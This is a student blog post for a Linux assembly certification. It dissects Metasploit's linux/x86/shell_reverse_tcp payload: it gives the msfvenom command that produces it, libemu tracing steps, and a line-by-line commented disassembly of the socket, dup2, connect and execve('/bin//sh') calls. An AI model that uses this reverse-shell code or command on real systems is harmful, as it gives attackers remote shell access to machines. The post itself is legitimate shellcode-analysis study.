SLAE Problem 5.1: Msfvenom Analysis of linux/x86/shell_reverse_tcp

January 3, 2017 - 4 minute read -
asm shellcode msfvenom

This blog post has been created for completing the requirements for the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-824

Requirements

  • Choose at least 3 shellcode samples created using Msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

Source code for this assignment can be found here

Analysis

Since I had created a reverse tcp shellcode for assignment 2 of the SLAE I decided that it would be interesting to look at msfvenom’s version and to see how it differed from mine. To do so I did the following:

Generate a linux/x86/shell_reverse_tcp shellcode using:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.1.1.1 R > revshell.bin

It defaults to LPORT=4444 so there is no need to set it.

Next, I ran the shellcode using Libemu and generated a .dot file:

/usr/bin/sctest -vvv -S -s 10000 -G revshell.dot < revshell.bin

I then converted the dot file to a png using:

dot -Tpng revshell.dot > revshell.png

Which gives us:

revshell.png

Cool. Looking at the purple boxes we see that the system calls that are being used are:

  • socket
  • dup2
  • connect
  • execve

Those were the same socket calls that were used in the reverse shell for assignment 2. Lets analyze things at the assembly level:

MSFVenom Socket:

; Socket
;; Clear out ebx
xor ebx,ebx

;; Clear out eax as eax is the implied destination
;; When anything is multiplied by 0 it will be zero
;; I'm not sure why this is done as the byte count ends up
;; being the same. Example:

;; xor ebx, ebx
;; mul ebx
;; = "\x31\xDB\xF7\xE3"

;; Versus:
;; xor eax, eax
;; xor ebx, ebx
;; = "\x31\xC0\x31\xDB"

mul ebx

;; Protocol INADDR_ANY Accept on any interface 0x00000000
;; Push this value onto the stack
push ebx

;; Increment ebx. This is pushed to the stack for
;; SOCK_STREAM socket type of 1 as well as left in
;; the register as 1 is the sys_socket syscall number
inc ebx
push ebx

push byte 0x2 ;; Domain af_inet sets protocol family to ip protocol 2
mov ecx,esp ;; Pointer to sys_socket args
mov al,0x66 ;; socketcall syscall
int 0x80 ;; Call socket syscall

; Save returned file descriptor
; Not only does it save the file descriptor but
; It sets up ebx for the Dup2 call
; Which is the "New File Descriptor"
; That will be used in place of the "Old File Descriptor"
; Killing 2 birds with 1 stone
xchg eax,ebx

; Load 0x2 into ecx for the dup2 loop counter and fd number
pop ecx

; Dup2 loop
mov al,0x3f ; Place dup2 syscall in al
int 0x80 ; Duplicate fd
dec ecx ; Decrement to the next file descriptor number
jns 0xfffffffb ; Loop

; Connect
; Build sockaddr_in structure
push dword 0x101017f ; inet_addr("127.1.1.1") = 0x0101017f

;; Push port 4444 in big endian network byte order
;; and sin_family of AF_INET
;; This places 2  values on the stack in 1 operation
;; This does seem to introduce a null byte though...
push dword 0x5c110002

;; Mov pointer to sockaddr_in structure
mov ecx,esp

mov al, 0x66 ;; socketcall syscall
push eax ; addrlen
push ecx ; sockaddr_in struct pointer
push ebx ; socket file descriptor
mov bl,0x3 ; sys_call 3 which is connect()
mov ecx,esp ; pointer to connect args
int 0x80

; Execve
push edx ; 0x00000000
push dword 0x68732f6e ;"hs/n"
push dword 0x69622f2f ;"ib//"
mov ebx,esp ; place filename string in ebx
push edx ; 0x00000000
push ebx ; push pointer to program string
mov ecx,esp ; place pointer program args in ecx
mov al,0xb ; execve syscall
int 0x80

All in all this MSFvenom shellcode looks very similar to the one I had created in assignment 2. There are some slight differences like using mul to clear out eax as opposed to just using xor. One cool trick the MSFvenom version was doing was using a push dword with the port and sin_family in 1 operation. push dword 0x5c110002 instead of what I had in my version:

    push word 0x5c11 ; sin_port=4444 (network byte order)
    push word bx     ; sin_family=AF_INET (0x2)

If we look at the objdump of a little nasm program to compare the instructions we see:

  1. Using 2 xor operations yields the same number of bytes/opcodes as using an xor and a mul instruction
  2. Using a single dword push instruction instead of 2 push word instructions yields 1 less byte/opcode but it does introduce a null byte.

opcodeComparison.png

It was really interesting to see what MSFvenom generated shellcode looks like. Doing this exercise has taken a bit of the mystique of MSFVenom away and I look forward to analyzing more shellcode from it to see what else I can learn.